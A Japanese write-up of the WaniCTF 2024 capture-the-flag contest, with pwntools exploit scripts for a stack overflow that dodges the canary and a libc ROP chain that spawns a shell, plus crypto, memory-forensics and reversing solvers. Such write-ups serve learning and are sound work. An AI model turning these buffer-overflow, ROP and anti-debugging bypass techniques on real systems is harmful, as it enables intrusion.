初めに
SOCの仲間3名でWaniCTF 2024に参加しました。
自分が解いた問題のWriteupになります。
ほぼRevとPwnの内容になると思います。
スコアはこんな感じでした。
Pwnable
do_not_rewrite
バイナリが渡されます。
ソースも渡されるので中身をみます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
double calories_per_gram;
double amount_in_grams;
char name[50];
} Ingredient;
void init(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}
void show_flag(){
printf("\nExcellent!\n");
system("cat FLAG");
}
double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
double total_calories = 0.0;
for (int i = 0; i < num_ingredients; i++) {
total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
}
return total_calories;
}
int main() {
init();
Ingredient ingredients[3];
printf("hint: show_flag = %p\n", (void *)show_flag);
for (int i = 0; i <= 3; i++) {
printf("\nEnter the name of ingredient %d: ", i + 1);
scanf("%s", ingredients[i].name);
printf("Enter the calories per gram for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].calories_per_gram);
printf("Enter the amount in grams for %s: ", ingredients[i].name);
scanf("%lf", &ingredients[i].amount_in_grams);
}
double total_calories = calculate_total_calories(ingredients, 3);
printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);
return 0;
}
ぱっと見name[50]にバッファオーバーフローがあるのが分かります。RIPをshow_flag()にすれば良さそうです。
機構を確認します。
CanaryがいるのでCanaryBypassがいります。
実際に実行してみます。
show_flagのメモリ位置が見えるのでAddressは分かるのですが、普通に実行しただけでCanaryに引っかかってます。
Ghidraで見たところ、caloriesやamountのStackで引っかかってそう。
一番最初に思いつくBypassする方法はprintfを利用してnameと一緒にCanaryも表示させるCanaryのリークですが、今回getsなどではなくscanfを利用しているので末尾に\x00が追加され、Canaryリークできません。
以下200文字のaを入力した際。0x7fffffffe0e8のアドレスにあるCanaryが見えます。
次は201文字。Canaryが変わってるのは別の実行機会のものだからです。末尾にa（\x61）と\x00があるのが分かります。
なのでCanaryを別の方法でBypassする必要があります。
以下の箇所に注目します。
scanf("%lf", &ingredients[i].calories_per_gram)
double型を利用しているのでここに文字列を入れ込んで次の処理へスキップさせます。
そうすると次のStructの設定に飛ぶことが可能です。
リターンアドレスに関してはingredient 4の部分の書き込みで制御できます。
後はコーディングをしてshow_flagに飛ばすだけですが、64bitバイナリでよくあるStackのバイト調整のためにret命令を挟む必要があります。show_flagのアドレスが判明しているので相対アドレスは変わらないことを考え、retのアドレス調整をします。
ret = show_flag + (0x0000555555555527 - 0x000055555555525f)
# 0x0000555555555527 ret local
# 0x000055555555525f show_flag local
Solverは以下のようになりました。
from pwn import *
context.log_level = "debug"
binfile = './chall'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9004
elf = ELF(binfile)
context.binary = elf
p = remote(rhost, rport)
p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline()[:-1].decode(), 16)
print('win', hex(show_flag))
ret = show_flag + (0x0000555555555527 - 0x000055555555525f)
payload = pack(ret)
payload += pack(show_flag)
p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, payload)
p.sendlineafter(b'ingredient 4: ', b'\x00')
p.interactive()
do_not_rewrite2
ほぼ同じコードが渡されます。
show_flagがなくなったのでROPでShellを取る問題。
printfのアドレスがshow_flagに代わって渡されるのでそのアドレスを元にlibcのアドレスを算出し、ROPするだけでOK。
以下がSolver
from pwn import *
import time
context.log_level = "debug"
binfile = './chall'
libcfile = './libc.so.6'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9005
elf = ELF(binfile)
context.binary = elf
libc = ELF(libcfile)
p = remote(rhost, rport)
p.recvuntil(b'printf = ')
libc_leak = int(p.recvline()[:-1].decode(), 16)
libc.address = libc_leak - (0x7ffff7c600f0-0x00007ffff7c00000)
print('libc', hex(libc.address))
rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh\x00')), 0)
p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, rop.chain())
p.sendlineafter(b'ingredient 4: ', b'\x00')
p.interactive()
Web
Bad_Worker
DUMMY.txtの部分をFLAG.txtにしたら出てきた。
Crypto
replacement
以下のテキストファイルとpythonファイルを渡されます。
my_diary_11_8_Wednesday.txt
[265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112,
...省略
chall.py
from secret import cal
import hashlib
enc = []
for char in cal:
x = ord(char)
x = hashlib.md5(str(x).encode()).hexdigest()
enc.append(int(x, 16))
with open('my_diary_11_8_Wednesday.txt', 'w') as f:
f.write(str(enc))
MD5の値を総当たりで復元できないかなと思ってGitHub Copilot Chatさんにききました。
ありがとうCopilotさん。以下がSolver。
import hashlib
# ハッシュ値のリストをファイルから読み込む
with open('my_diary_11_8_Wednesday.txt', 'r') as f:
enc = eval(f.read())
# ASCII文字の範囲でブルートフォース
original_chars = []
for hash_val in enc:
found = False
for char_code in range(32, 127): # ASCIIの印刷可能文字
test_hash = hashlib.md5(str(char_code).encode()).hexdigest()
if int(test_hash, 16) == hash_val:
original_chars.append(chr(char_code))
found = True
break
if not found:
original_chars.append('?') # 一致するものが見つからない場合はプレースホルダ
# 復元された文字列を表示
print(''.join(original_chars))
Forensics
mem_search
メモリダンプファイルが渡されます。
解析はremnuxさんで行います。
Windowsマシンぽいです。
とりあえず、プロセス見ます。
remnux@remnux:~/Downloads$ vol3 -f chal_mem_search.DUMP windows.pstree
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime
4 0 System 0xcd88c7a97040 168 - N/A False 2024-05-11 09:31:11.000000 N/A
* 72 4 Registry 0xcd88c7a85080 4 - N/A False 2024-05-11 09:31:06.000000 N/A
* 528 4 smss.exe 0xcd88c9ac8040 2 - N/A False 2024-05-11 09:31:11.000000 N/A
* 1812 4 MemCompression 0xcd88c7b25040 46 - N/A False 2024-05-11 09:31:16.000000 N/A
632 624 csrss.exe 0xcd88c946a080 10 - 0 False 2024-05-11 09:31:13.000000 N/A
704 624 wininit.exe 0xcd88cb7d1080 1 - 0 False 2024-05-11 09:31:13.000000 N/A
* 824 704 services.exe 0xcd88cbe3c100 8 - 0 False 2024-05-11 09:31:13.000000 N/A
** 1920 824 svchost.exe 0xcd88cc2ea080 11 - 0 False 2024-05-11 09:31:16.000000 N/A
*** 7652 1920 audiodg.exe 0xcd88cd7240c0 7 - 0 False 2024-05-11 09:33:47.000000 N/A
** 2560 824 MsMpEng.exe 0xcd88cc68a0c0 30 - 0 False 2024-05-11 09:31:18.000000 N/A
** 4100 824 svchost.exe 0xcd88ccb8d080 6 - 0 False 2024-05-11 09:31:30.000000 N/A
** 8 824 svchost.exe 0xcd88cc453080 11 - 0 False 2024-05-11 09:31:17.000000 N/A
** 5776 824 svchost.exe 0xcd88cd740080 11 - 0 False 2024-05-11 09:31:44.000000 N/A
** 2452 824 MpDefenderCore 0xcd88cc5f1080 8 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1176 824 svchost.exe 0xcd88cc048080 16 - 0 False 2024-05-11 09:31:14.000000 N/A
** 2968 824 dllhost.exe 0xcd88cc8550c0 18 - 0 False 2024-05-11 09:31:20.000000 N/A
** 3104 824 dllhost.exe 0xcd88cca5a300 14 - 0 False 2024-05-11 09:31:21.000000 N/A
** 4768 824 NisSrv.exe 0xcd88cd26c080 5 - 0 False 2024-05-11 09:31:36.000000 N/A
** 1956 824 svchost.exe 0xcd88cc2ef080 5 - 0 False 2024-05-11 09:31:16.000000 N/A
** 1704 824 svchost.exe 0xcd88cc1de340 3 - 0 False 2024-05-11 09:31:16.000000 N/A
** 2552 824 vmtoolsd.exe 0xcd88cc626140 11 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1200 824 svchost.exe 0xcd88cc06b300 18 - 0 False 2024-05-11 09:31:14.000000 N/A
*** 2520 1200 dasHost.exe 0xcd88cc55f300 6 - 0 False 2024-05-11 09:31:18.000000 N/A
*** 6636 1200 ctfmon.exe 0xcd88cdd4a240 17 - 1 False 2024-05-11 09:31:56.000000 N/A
*** 6668 1200 TabTip.exe 0xcd88cdbc90c0 8 - 1 False 2024-05-11 09:31:56.000000 N/A
*** 1340 1200 TabTip.exe 0xcd88cde33080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:52.000000
** 4528 824 VSSVC.exe 0xcd88cd0a5080 4 - 0 False 2024-05-11 09:31:34.000000 N/A
** 1976 824 svchost.exe 0xcd88cc2f2240 4 - 0 False 2024-05-11 09:31:16.000000 N/A
** 568 824 svchost.exe 0xcd88cbf45340 13 - 0 False 2024-05-11 09:31:14.000000 N/A
** 4536 824 svchost.exe 0xcd88ccd71080 5 - 1 False 2024-05-11 09:31:34.000000 N/A
** 1600 824 svchost.exe 0xcd88cc1d8300 16 - 0 False 2024-05-11 09:31:15.000000 N/A
** 1220 824 svchost.exe 0xcd88cc454080 14 - 0 False 2024-05-11 09:31:17.000000 N/A
** 844 824 SecurityHealth 0xcd88cdf46300 15 - 0 False 2024-05-11 09:32:06.000000 N/A
** 976 824 svchost.exe 0xcd88cbe912c0 24 - 0 False 2024-05-11 09:31:13.000000 N/A
*** 6400 976 SkypeApp.exe 0xcd88cd5c9080 14 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 6496 976 backgroundTask 0xcd88cdd46240 11 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 1764 976 dllhost.exe 0xcd88cc983340 5 - 0 False 2024-05-11 09:31:20.000000 N/A
*** 4164 976 WmiPrvSE.exe 0xcd88cd46e300 10 - 0 False 2024-05-11 09:31:39.000000 N/A
*** 5476 976 RuntimeBroker. 0xcd88cd7990c0 14 - 1 False 2024-05-11 09:31:42.000000 N/A
*** 4228 976 TextInputHost. 0xcd88cdd17080 21 - 1 False 2024-05-11 09:31:48.000000 N/A
*** 3912 976 StartMenuExper 0xcd88cd388080 9 - 1 False 2024-05-11 09:31:39.000000 N/A
*** 7036 976 RuntimeBroker. 0xcd88c7b27080 6 - 1 False 2024-05-11 09:31:59.000000 N/A
*** 5196 976 RuntimeBroker. 0xcd88cd546080 3 - 1 False 2024-05-11 09:31:40.000000 N/A
*** 4976 976 TiWorker.exe 0xcd88cd5540c0 3 - 0 False 2024-05-11 09:31:39.000000 N/A
*** 5392 976 SearchApp.exe 0xcd88cd6b60c0 39 - 1 False 2024-05-11 09:31:41.000000 N/A
*** 6264 976 RuntimeBroker. 0xcd88cd29b080 11 - 1 False 2024-05-11 09:32:02.000000 N/A
*** 3028 976 WmiPrvSE.exe 0xcd88cc908300 11 - 0 False 2024-05-11 09:31:20.000000 N/A
*** 5012 976 dllhost.exe 0xcd88cbfe9080 12 - 1 False 2024-05-11 09:32:03.000000 N/A
*** 6484 976 smartscreen.ex 0xcd88cd445080 9 - 1 False 2024-05-11 09:32:06.000000 N/A
*** 6424 976 SkypeBackgroun 0xcd88cd834080 4 - 1 False 2024-05-11 09:31:55.000000 N/A
*** 6460 976 SearchApp.exe 0xcd88cde0c240 14 - 1 False 2024-05-11 09:31:55.000000 N/A
** 1360 824 svchost.exe 0xcd88cc0ce340 25 - 0 False 2024-05-11 09:31:15.000000 N/A
** 1488 824 spoolsv.exe 0xcd88cc413300 7 - 0 False 2024-05-11 09:31:17.000000 N/A
** 2512 824 VGAuthService. 0xcd88cc5dc080 3 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1492 824 svchost.exe 0xcd88cc1cf0c0 24 - 0 False 2024-05-11 09:31:15.000000 N/A
** 856 824 svchost.exe 0xcd88cc984080 4 - 0 False 2024-05-11 09:31:20.000000 N/A
** 2396 824 svchost.exe 0xcd88cc57f080 14 - 0 False 2024-05-11 09:31:18.000000 N/A
** 1632 824 svchost.exe 0xcd88cc4182c0 7 - 0 False 2024-05-11 09:31:17.000000 N/A
** 2912 824 SearchIndexer. 0xcd88cc8592c0 19 - 0 False 2024-05-11 09:31:19.000000 N/A
*** 7600 2912 SearchProtocol 0xcd88ce2800c0 9 - 0 False 2024-05-11 09:33:13.000000 N/A
*** 5164 2912 SearchProtocol 0xcd88ce2ab340 6 - 1 False 2024-05-11 09:33:09.000000 N/A
*** 5716 2912 SearchFilterHo 0xcd88cd26b300 7 - 0 False 2024-05-11 09:33:10.000000 N/A
** 7804 824 SgrmBroker.exe 0xcd88cd0ab2c0 7 - 0 False 2024-05-11 09:33:20.000000 N/A
** 4196 824 msdtc.exe 0xcd88cd028300 12 - 0 False 2024-05-11 09:31:31.000000 N/A
** 1128 824 svchost.exe 0xcd88cc035340 23 - 0 False 2024-05-11 09:31:14.000000 N/A
** 4588 824 TrustedInstall 0xcd88cd3c02c0 4 - 0 False 2024-05-11 09:31:39.000000 N/A
** 1136 824 svchost.exe 0xcd88cc034080 16 - 0 False 2024-05-11 09:31:14.000000 N/A
** 2544 824 vm3dservice.ex 0xcd88cc5af080 3 - 0 False 2024-05-11 09:31:18.000000 N/A
*** 2776 2544 vm3dservice.ex 0xcd88cc6f6280 3 - 1 False 2024-05-11 09:31:19.000000 N/A
** 4084 824 svchost.exe 0xcd88ccb91080 13 - 1 False 2024-05-11 09:31:26.000000 N/A
** 8180 824 svchost.exe 0xcd88cd5a42c0 14 - 0 False 2024-05-11 09:33:21.000000 N/A
** 1144 824 svchost.exe 0xcd88cc038080 73 - 0 False 2024-05-11 09:31:14.000000 N/A
*** 4056 1144 sihost.exe 0xcd88ccb9b300 14 - 1 False 2024-05-11 09:31:26.000000 N/A
**** 6132 4056 msedge.exe 0xcd88cdd1a0c0 0 - 1 False 2024-05-11 09:31:48.000000 2024-05-11 09:31:51.000000
*** 3560 1144 MicrosoftEdgeU 0xcd88ccbcd080 4 - 0 True 2024-05-11 09:31:26.000000 N/A
*** 3488 1144 taskhostw.exe 0xcd88ccbce080 11 - 1 False 2024-05-11 09:31:26.000000 N/A
** 2940 824 svchost.exe 0xcd88cc86b080 28 - 0 False 2024-05-11 09:31:20.000000 N/A
* 832 704 lsass.exe 0xcd88cbe4e080 11 - 0 False 2024-05-11 09:31:13.000000 N/A
* 936 704 fontdrvhost.ex 0xcd88cbe8a0c0 5 - 0 False 2024-05-11 09:31:13.000000 N/A
712 696 csrss.exe 0xcd88cb7d9140 11 - 1 False 2024-05-11 09:31:13.000000 N/A
760 696 winlogon.exe 0xcd88cb7f5080 7 - 1 False 2024-05-11 09:31:13.000000 N/A
* 928 760 fontdrvhost.ex 0xcd88cbe8c1c0 5 - 1 False 2024-05-11 09:31:13.000000 N/A
* 796 760 dwm.exe 0xcd88cbfe8080 16 - 1 False 2024-05-11 09:31:14.000000 N/A
* 2200 760 userinit.exe 0xcd88cc57e2c0 0 - 1 False 2024-05-11 09:31:29.000000 2024-05-11 09:31:59.000000
** 3576 2200 explorer.exe 0xcd88ccb92080 82 - 1 False 2024-05-11 09:31:29.000000 N/A
*** 4416 3576 vmtoolsd.exe 0xcd88cdf48300 9 - 1 False 2024-05-11 09:32:07.000000 N/A
*** 4076 3576 msedge.exe 0xcd88cdf47080 62 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 5760 4076 msedge.exe 0xcd88cdbb2080 16 - 1 False 2024-05-11 09:32:10.000000 N/A
**** 7236 4076 msedge.exe 0xcd88ce247080 15 - 1 False 2024-05-11 09:32:11.000000 N/A
**** 6532 4076 msedge.exe 0xcd88cd080080 14 - 1 False 2024-05-11 09:33:30.000000 N/A
**** 3964 4076 msedge.exe 0xcd88cd408340 14 - 1 False 2024-05-11 09:33:09.000000 N/A
**** 108 4076 msedge.exe 0xcd88ccb9a080 8 - 1 False 2024-05-11 09:33:29.000000 N/A
**** 3700 4076 msedge.exe 0xcd88cd8b6080 8 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 5684 4076 msedge.exe 0xcd88cdbe3340 15 - 1 False 2024-05-11 09:32:09.000000 N/A
**** 4696 4076 msedge.exe 0xcd88cd8ba080 9 - 1 False 2024-05-11 09:32:10.000000 N/A
**** 7292 4076 msedge.exe 0xcd88ce270080 17 - 1 False 2024-05-11 09:32:11.000000 N/A
*** 7372 3576 OneDrive.exe 0xcd88ce276080 29 - 1 False 2024-05-11 09:32:12.000000 N/A
*** 6608 3576 cmd.exe 0xcd88cdf42080 1 - 1 False 2024-05-11 09:32:06.000000 N/A
**** 4264 6608 conhost.exe 0xcd88cdf49080 5 - 1 False 2024-05-11 09:32:06.000000 N/A
*** 5456 3576 notepad.exe 0xcd88ce2ed340 5 - 1 False 2024-05-11 09:33:19.000000 N/A
*** 2704 3576 powershell.exe 0xcd88ce279080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:56.000000
**** 7844 2704 msedge.exe 0xcd88cd7ac080 0 - 1 True 2024-05-11 09:33:55.000000 2024-05-11 09:33:57.000000
*** 3892 3576 SecurityHealth 0xcd88cdf41080 7 - 1 False 2024-05-11 09:32:06.000000 N/A
remnux@remnux:~/Downloads$
cmd.exeかpowershell.exe辺り見ていきたいのとmsedge.exeがpowershellの子プロセスなので怪しい。しっかり見たほうが良さそう。ここら辺はSOCの目利きですね。
msedge.exeのメモリダンプをを以下コマンドで抽出します。
vol3 -f chal_mem_search.DUMP windows.memmap --pid 7844 --dump
通信先を雑にgrepで調べます。
remnux@remnux:~/Downloads$ strings pid.7844.dmp | grep http:
それっぽい文字列を見つけたのでこれをBase64デコードします。
Reversing
home
実行ファイルが渡されるので実行してみます。
なんだこれ、Ghidraに食わせます。
getcwdでディレクトリ判定しているのが見えます。ptraceでデバック判定もしてそうです。
とりあえずディレクトリ作ってgdbで見ます。
デバッカブロックされました。んじゃこの関数の結果を改ざんします。
0x00005555555559eeにブレークポイントを打ちます。
raxに結果が格納されてますが、これを0にします。これでBypassできます。
あとはconstructFlagを呼んで、Flagを探します。
Thread
実行ファイルが渡されるので実行してみます。
フラグ判定バイナリみたいです。
Ghidraで確認します。
フラグの長さは0x2dで各フラグ文字に対してFUN_00101289を実行するスレッドを作成してゴニョニョしたあとにDAT_00104020の文字列と比較するみたいです。
比較対象はこんな感じ。
FUN_00101289の中身を確認します。
3で割った余りに対して各処理を順番に実行するといった内容のようです。
1処理だけではなく全て実行します。開始処理の順番が異なります。
こういうのはGDBで追ったほうが分かりやすいので見ることをお勧めします。
後はその順番を逆順で流すだけでいいです。
solverはこうなりました。
param=[0xa8,0x8a,0xbf,0xa5,0x2fd,0x59,0xde,0x24,0x65,0x10f,0xde,0x23,0x15d,0x42,0x2c,0xde,0x09,0x65,0xde,0x51,0xef,0x13f,0x24,0x53,0x15d,0x48,0x53,0xde,0x09,0x53,0x14b,0x24,0x65,0xde,0x36,0x53,0x15d,0x12,0x4a,0x124,0x3f,0x5f,0x14e,0xd5,0x0b]
flag = []
for i in range(len(param)):
if i % 3 == 0:
flag.append(chr(int(((param[i] ^ 0x7f) - 5) / 3)))
elif i % 3 == 1:
flag.append(chr((int(param[i] / 3) ^ 0x7f ) - 5))
elif i % 3 == 2:
flag.append(chr(int((param[i] -5 ) / 3 ) ^ 0x7f))
print(''.join(flag))
gates
実行ファイルを渡されるので実行してみます。
これもフラグ判定バイナリのようです。
Ghidraで確認します。
DAT_0010404からDAT_0010424cまで0x10ごとのメモリ番地に値を受け取り（0x20文字分）、FUN_00101220の処理を0x100繰り返すようです。
その後に、フラグのDAT_00104020と変換した入力DAT_00104e4dを比較するといったながれですね。
比較対象のDAT_00104020はこんな感じです。
FUN_00101220の中身を見てみます。
puVar7のある部分が3の場合はXORの処理、1か2の場合は足し算の処理、4の場合はスルー（そのままメモリに投入）のような処理をしています。
DAT_00104040の周りを見ていれば気になるバイトが見えます。DAT_0010424cです。
ここに何かヒントがありそうなのでGDBを見ます。
適当にFLAGaaaaaaaaaaaaaaaaaaaaaaaaaaaaとか入れます。
RDXに処理のビット、RAXが参照しているメモリであることが分かります。適当に流しますがビットが0なのでしばらくは何も目立った動きはないです。暫くGDBを回します。
raxが250の番地を参照し始めてビットが変わりました。これで1の処理を実行します。
GhidraでいうとDAT_00104250がビットになってるみたいです。
処理を流します。
rdiにDAT_0010424dのバイト0x67が出現していることが分かります。
恐らくこれとFの文字を足すと思われます。一応予測値を確認しておきます。
GDBを流します。
rdiに出てきました。
大体理解できたと思います。DAT_0010424cのバイト列は以下のような並びになってます。
-
DAT_00104250 + 0x10*numが処理を判定するビット（0もあります） -
DAT_0010424d + 0x10*numが入力に対する処理をするときの変数
後はDAT_0010424cのバイト列を抜き出してSolverを作るだけです。
以下のようになりました。
param_flag=[0x3b,0x09,0xe5,0xae,0x3e,0xf1,0x37,0x81,0xfc,0xa1,0x99,0xae,0xf7,0x62,0x7d,0xf7,0xd0,0xcb,0xa2,0x18,0xcd,0x3e,0x89,0x0d,0xd9,0xdd,0x62,0x29,0x8c,0xf3,0x01,0xec]
param_1_add = [0x67,0xc6,0x69,0x73,0x51,0xff,0x4a,0xec,0x29,0xcd,0xba,0xab,0xf2,0xfb,0xe3,0x46,0x7c,0xc2,0x54,0xf8,0x1b,0xe8,0xe7,0x8d,0x76,0x5a,0x2e,0x63,0x33,0x9f,0xc9,0x9a]
param_3_xor = [0x66,0x32,0x0d,0xb7,0x31,0x58,0xa3,0x5a,0x25,0x5d,0x05,0x17,0x58,0xe9,0x5e,0xd4,0xab,0xb2,0xcd,0xc6,0x9b,0xb4,0x54,0x11,0x0e,0x82,0x74,0x41,0x21,0x3d,0xdc,0x87]
param_2_add = [0x70,0xe9,0x3e,0xa1,0x41,0xe1,0xfc,0x67,0x3e,0x01,0x7e,0x97,0xea,0xdc,0x6b,0x96,0x8f,0x38,0x5c,0x2a,0xec,0xb0,0x3b,0xfb,0x32,0xaf,0x3c,0x54,0xec,0x18,0xdb,0x5c]
def adjust_values(param_flag, param_add):
for i in range(len(param_flag)):
if param_flag[i] - param_add[i] < 0:
param_flag[i] = (param_flag[i] + 0x100) - param_add[i]
else:
param_flag[i] -= param_add[i]
return param_flag
def xor_values(param_flag, param_3_xor):
for i in range(len(param_flag)):
param_flag[i] ^= param_3_xor[i]
return param_flag
adjust_values(param_flag, param_2_add)
xor_values(param_flag, param_3_xor)
adjust_values(param_flag, param_1_add)
flag = []
for i in range(len(param_flag)):
flag.append(chr(param_flag[i]))
print("".join(flag))
最後に
Revのラスボスを解けなかったのは悔しかったですが、とても楽しいCTFでした。
チームには完全初心者も参加していたので楽しい経験になってくれていれば嬉しいです。
運営の皆さんありがとうございました。